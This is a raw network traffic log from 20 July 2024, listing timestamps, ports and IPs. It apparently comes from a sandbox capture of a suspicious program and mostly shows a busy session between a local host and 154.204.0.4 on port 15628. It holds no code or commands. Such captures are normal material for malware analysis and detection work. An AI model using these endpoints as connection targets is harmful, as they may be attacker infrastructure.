Jul 20, 2024 11:53:48.102718115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.103802919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.109639883 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.109797001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.115478039 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.115586042 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.120749950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.121103048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.127032042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.128981113 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.134797096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.136974096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.151945114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.152156115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.157475948 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.161046982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.167406082 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.173021078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.178689003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.181025028 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.188499928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.188699007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.195758104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.195975065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.202470064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.204976082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.211604118 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.211853027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.217655897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.219890118 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.227494955 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.231784105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.240372896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.254879951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.263813019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.267507076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.274374008 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.275008917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.283955097 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.287297010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.296839952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.299062014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.306173086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.307029963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.314605951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.315080881 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.323124886 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.323335886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.331547976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.331702948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.337971926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.339536905 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.345886946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.348437071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.354177952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.355000973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.361922979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.363915920 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.369925022 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.371449947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.378477097 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.379926920 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.385847092 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.387486935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.393660069 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.396043062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.401885033 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.405998945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.412306070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.412384987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.420356035 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.423815012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.431623936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.432679892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.441615105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.441723108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.450712919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.450913906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.460014105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.460164070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.468445063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.471829891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.503180981 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.521101952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.521146059 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.521176100 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.521328926 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.527970076 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.531651020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.537931919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.538050890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.544828892 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.544985056 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.551961899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.552078009 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.559061050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.559267998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.565692902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.565881014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.572479963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.574191093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.580909967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.581108093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.587965012 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.591624975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.605550051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.605751038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.620553970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.622946024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.632741928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.632810116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.639796972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.639846087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.647965908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.648016930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.654978037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.655040979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.662066936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.662132978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.668803930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.668860912 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.675926924 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.675983906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.682940960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.683031082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.689821959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.689893961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.697771072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.697830915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.704910040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.704965115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.712590933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.712644100 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.719321012 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.719378948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.726444006 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.726497889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.733586073 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.733639956 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.740900040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.740967989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.770612955 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.789531946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.789608002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.793580055 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.793591976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.793679953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.796715975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.796781063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.800545931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.800601959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.803425074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.803474903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.807692051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.807760000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.810098886 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.810149908 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.814327955 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.814379930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.818345070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.818401098 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.822237015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.822288036 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.825505972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.825553894 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.829684973 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.829736948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.832439899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.832489014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.836937904 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.836987972 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.839318037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.839371920 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.843435049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.843485117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.846466064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.846527100 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.850094080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.850143909 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.853538990 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.853600025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.856956959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.857009888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.860294104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.860342979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.863490105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.863539934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.879806995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.879888058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.887587070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.887659073 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.894963026 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.895050049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.902563095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.902616978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.909909010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.909961939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.917145967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.917192936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.924371004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.924459934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.931852102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.931910992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.939183950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.939233065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.946515083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.946578026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.953995943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.954082966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.960247993 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.960303068 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.965293884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.965344906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.970284939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.970330000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.976274967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.976331949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:48.984313965 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:48.984364033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.017504930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.017580986 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.045731068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.045824051 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.052830935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.052911997 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.060319901 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.060378075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.066612005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.066662073 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.072504997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.072552919 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.077785015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.077851057 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.082729101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.082779884 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.087635994 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.087735891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.113456964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.113523006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.122821093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.122896910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.127811909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.127875090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.133991003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.134052038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.139285088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.139367104 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.162780046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.162847996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.167762041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.167836905 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.173332930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.173389912 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.180495024 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.180555105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.190555096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.190617085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.196949005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.197020054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.225024939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.225127935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.235122919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.248608112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.273549080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.273616076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.289995909 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:49.290024996 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:49.294003010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.294059038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.301101923 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.301166058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.306197882 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.330809116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.336577892 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.336620092 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.341974020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.342015982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.346978903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.347026110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.352029085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.352157116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.357522011 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.357604027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.362765074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.362801075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.367639065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.367679119 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.372750044 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.372807980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.377787113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.377832890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.382786989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.382826090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.387819052 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.387861967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.392755985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.392791986 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.397852898 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.397906065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.402903080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.402954102 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.408200979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.408252001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.413285017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.413347006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.418251991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.418335915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.423549891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.423604965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.428491116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.428540945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.433617115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.436631918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.447849035 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.447907925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.452994108 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.453048944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.458173990 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.458225965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.463881016 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.463937998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.468954086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.469001055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.477130890 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:49.477279902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:49.483342886 CEST	15628	49715	154.204.0.4	192.168.2.5
